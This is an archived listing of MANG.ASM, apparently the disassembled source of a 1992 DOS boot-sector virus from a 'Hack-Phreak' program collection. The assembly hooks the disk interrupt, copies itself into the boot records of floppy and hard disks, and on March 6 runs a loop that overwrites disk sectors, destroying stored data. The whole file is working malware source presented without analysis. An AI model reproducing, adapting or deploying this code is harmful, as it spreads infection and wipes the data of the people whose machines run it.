home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MANG.ASM < prev    next >
Assembly Source File  |  1992-08-30  |  6KB  |  253 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MANG                         ██
  7. ;██                                         ██
  8. ;██      Created:   30-Aug-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_0001e    equ    4Ch
  14. data_0002e    equ    4Eh
  15. main_ram_size_    equ    413h
  16. data_0003e    equ    7C00h            ;*
  17. data_0004e    equ    7C05h            ;*
  18. data_0005e    equ    7C0Ah            ;*
  19. data_0006e    equ    7C0Ch            ;*
  20. data_0007e    equ    7
  21. data_0008e    equ    8
  22. data_0009e    equ    0Ah
  23. data_0014e    equ    3BEh            ;*
  24. data_0015e    equ    7C03h            ;*
  25. data_0016e    equ    0B300h            ;*
  26. data_0017e    equ    1BEh            ;*
  27. data_0018e    equ    5000h            ;*
  28.  
  29. seg_a        segment    byte public
  30.         assume    cs:seg_a, ds:seg_a
  31.  
  32.  
  33.         org    100h
  34.  
  35. mang        proc    far
  36.  
  37. start:
  38.         jmp    loc_0007
  39.         cmc                ; Complement carry
  40.         add    [bx+si-61h],al
  41.         add    cl,ds:data_0016e
  42.         db     2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
  43.         db    0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
  44.         db    0D8h,0F6h, 06h, 3Fh, 04h, 01h
  45.         db     75h, 10h, 58h, 1Fh, 9Ch, 2Eh
  46.         db    0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
  47.         db     0Bh, 00h, 9Dh,0CAh, 02h, 00h
  48.         db     58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
  49.         db     00h
  50.         db     50h, 53h, 51h, 52h, 1Eh, 06h
  51.         db     56h, 57h, 0Eh, 1Fh, 0Eh, 07h
  52.         db    0BEh, 04h, 00h
  53. loc_0002:
  54.         mov    ax,201h
  55.         mov    bx,200h
  56.         mov    cx,1
  57.         xor    dx,dx            ; Zero register
  58.         pushf                ; Push flags
  59.         call    dword ptr ds:data_0009e
  60.         jnc    loc_0003        ; Jump if carry=0
  61.         xor    ax,ax            ; Zero register
  62.         pushf                ; Push flags
  63.         call    dword ptr ds:data_0009e
  64.         dec    si
  65.         jnz    loc_0002        ; Jump if not zero
  66.         jmp    short loc_0006
  67. loc_0003:
  68.         xor    si,si            ; Zero register
  69.         cld                ; Clear direction
  70.         lodsw                ; String [si] to ax
  71.         cmp    ax,[bx]
  72.         jne    loc_0004        ; Jump if not equal
  73.         lodsw                ; String [si] to ax
  74.         cmp    ax,[bx+2]
  75.         je    loc_0006        ; Jump if equal
  76. loc_0004:
  77.         mov    ax,301h
  78.         mov    dh,1
  79.         mov    cl,3
  80.         cmp    byte ptr [bx+15h],0FDh
  81.         je    loc_0005        ; Jump if equal
  82.         mov    cl,0Eh
  83. loc_0005:
  84.         mov    ds:data_0008e,cx
  85.         pushf                ; Push flags
  86.         call    dword ptr ds:data_0009e
  87.         jc    loc_0006        ; Jump if carry Set
  88.         mov    si,data_0014e
  89.         mov    di,1BEh
  90.         mov    cx,21h
  91.         cld                ; Clear direction
  92.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  93.         mov    ax,301h
  94.         xor    bx,bx            ; Zero register
  95.         mov    cx,1
  96.         xor    dx,dx            ; Zero register
  97.         pushf                ; Push flags
  98.         call    dword ptr ds:data_0009e
  99. loc_0006:
  100.         pop    di
  101.         pop    si
  102.         pop    es
  103.         pop    ds
  104.         pop    dx
  105.         pop    cx
  106.         pop    bx
  107.         pop    ax
  108.         retn
  109. loc_0007:
  110.         xor    ax,ax            ; Zero register
  111.         mov    ds,ax
  112.         cli                ; Disable interrupts
  113.         mov    ss,ax
  114.         mov    ax,7C00h
  115.         mov    sp,ax
  116.         sti                ; Enable interrupts
  117.         push    ds
  118.         push    ax
  119.         mov    ax,ds:data_0001e
  120.         mov    ds:data_0005e,ax
  121.         mov    ax,ds:data_0002e
  122.         mov    ds:data_0006e,ax
  123.         mov    ax,ds:main_ram_size_
  124.         dec    ax
  125.         dec    ax
  126.         mov    ds:main_ram_size_,ax
  127.         mov    cl,6
  128.         shl    ax,cl            ; Shift w/zeros fill
  129.         mov    es,ax
  130.         mov    ds:data_0004e,ax
  131.         mov    ax,0Eh
  132.         mov    ds:data_0001e,ax
  133.         mov    ds:data_0002e,es
  134.         mov    cx,1BEh
  135.         mov    si,data_0003e
  136.         xor    di,di            ; Zero register
  137.         cld                ; Clear direction
  138.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  139.         jmp    dword ptr cs:data_0015e
  140.         xor    ax,ax            ; Zero register
  141.         mov    es,ax
  142.         int    13h            ; Disk  dl=drive a  ah=func 00h
  143.                         ;  reset disk, al=return status
  144.         push    cs
  145.         pop    ds
  146.         mov    ax,201h
  147.         mov    bx,data_0003e
  148.         mov    cx,ds:data_0008e
  149.         cmp    cx,7
  150.         jne    loc_0008        ; Jump if not equal
  151.         mov    dx,80h
  152.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  153.                         ;  read sectors to memory es:bx
  154.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  155.         jmp    short loc_0009
  156. loc_0008:
  157.         mov    cx,ds:data_0008e
  158.         mov    dx,100h
  159.         int    13h            ; Disk  dl=drive a  ah=func 02h
  160.                         ;  read sectors to memory es:bx
  161.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  162.         jc    loc_0009        ; Jump if carry Set
  163.         push    cs
  164.         pop    es
  165.         mov    ax,201h
  166.         mov    bx,200h
  167.         mov    cx,1
  168.         mov    dx,80h
  169.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  170.                         ;  read sectors to memory es:bx
  171.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  172.         jc    loc_0009        ; Jump if carry Set
  173.         xor    si,si            ; Zero register
  174.         cld                ; Clear direction
  175.         lodsw                ; String [si] to ax
  176.         cmp    ax,[bx]
  177.         jne    loc_0014        ; Jump if not equal
  178.         lodsw                ; String [si] to ax
  179.         cmp    ax,[bx+2]
  180.         jne    loc_0014        ; Jump if not equal
  181. loc_0009:
  182.         xor    cx,cx            ; Zero register
  183.         mov    ah,4
  184.         int    1Ah            ; Real time clock   ah=func 04h
  185.                         ;  get date  cx=year, dx=mon/day
  186.         cmp    dx,306h
  187.         je    loc_0010        ; Jump if equal
  188.         retf                ; Return far
  189. loc_0010:
  190.         xor    dx,dx            ; Zero register
  191.         mov    cx,1
  192. loc_0011:
  193.         mov    ax,309h
  194.         mov    si,ds:data_0008e
  195.         cmp    si,3
  196.         je    loc_0012        ; Jump if equal
  197.         mov    al,0Eh
  198.         cmp    si,0Eh
  199.         je    loc_0012        ; Jump if equal
  200.         mov    dl,80h
  201.         mov    byte ptr ds:data_0007e,4
  202.         mov    al,11h
  203. loc_0012:
  204.         mov    bx,data_0018e
  205.         mov    es,bx
  206.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  207.                         ;  write sectors from mem es:bx
  208.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  209.         jnc    loc_0013        ; Jump if carry=0
  210.         xor    ah,ah            ; Zero register
  211.         int    13h            ; Disk  dl=drive 0  ah=func 00h
  212.                         ;  reset disk, al=return status
  213. loc_0013:
  214.         inc    dh
  215.         cmp    dh,ds:data_0007e
  216.         jb    loc_0011        ; Jump if below
  217.         xor    dh,dh            ; Zero register
  218.         inc    ch
  219.         jmp    short loc_0011
  220. loc_0014:
  221.         mov    cx,7
  222.         mov    ds:data_0008e,cx
  223.         mov    ax,301h
  224.         mov    dx,80h
  225.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  226.                         ;  write sectors from mem es:bx
  227.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  228.         jc    loc_0009        ; Jump if carry Set
  229.         mov    si,data_0014e
  230.         mov    di,data_0017e
  231.         mov    cx,21h
  232.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  233.         mov    ax,301h
  234.         xor    bx,bx            ; Zero register
  235.         inc    cl
  236.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  237.                         ;  write sectors from mem es:bx
  238.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  239.         jmp    short loc_0009
  240.         db    16 dup (0)
  241.         db    0Ah, 'Replace and press any key w'
  242.         db    'hen ready', 0Dh, 0Ah, 0
  243.         db    'IO      SYSMSDOS   SYS'
  244.         db     00h, 00h, 55h,0AAh
  245.  
  246. mang        endp
  247.  
  248. seg_a        ends
  249.  
  250.  
  251.  
  252.         end    start
  253.